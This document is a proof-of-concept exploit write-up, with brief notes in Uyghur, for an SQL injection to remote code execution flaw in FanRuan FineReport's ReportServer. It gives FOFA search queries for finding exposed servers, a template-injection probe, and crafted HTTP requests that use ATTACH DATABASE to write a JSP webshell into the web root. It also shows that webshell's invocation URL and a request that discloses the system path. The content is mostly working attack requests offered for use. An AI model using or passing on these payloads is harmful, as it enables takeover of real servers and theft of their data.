FanRuan ReportServer SQL Injection vulnerability-RCE

ئىزدەش fofa

body="isSupportForgetPwd"
app="帆软-FineReport"

poc

GET /webroot/decision/view/ReportServer?test=&n=${9*9}
HTTP/1.1
Host: 192.168.174.152:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer:http://192.168.174.152:8075/webroot/decision/login?origin=1dc5fbd4-27eb-41b5-a43f-0623003685b4
Cookie: tenantId=default

GET /webroot/decision/view/ReportServer?test=s&n=${sql('FRDemo',DECODE('%53%45%4C%45%43%54%20%27%71%79%67%31%32%33%34%35%36%27%3B'),1,1)} HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Cookie: tenantId=default
Referer: http:///webroot/decision/login?origin=1dc5fbd4-27eb-41b5-a43f-0623003685b4
X-Requested-With: XMLHttpRequest

ھۆججەت يېزىش

ئىزاھات: بىر قېتىم ئۇرغاندىن كېيىن يەنە ئۇرماقچى بولساڭىز، ساندان ئىسمىنى ئۆزگەرتىشىڭىز لازىم.

GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

http://127.0.0.1:8080/webroot/aaa.jsp?a=javax.script.ScriptEngineManager pass b

بۇ يولنى ئىشلىتىپ ھازىرقى سىستېمىنىڭ مۇتلەق يولىنى سۈرۈشتۈرگىلى بولىدۇ.

POST /webroot/decision/view/ReportServer?test=s&n=${ENV_HOME}

POST /decision/view/ReportServer?test=s&n=${ENV_HOME}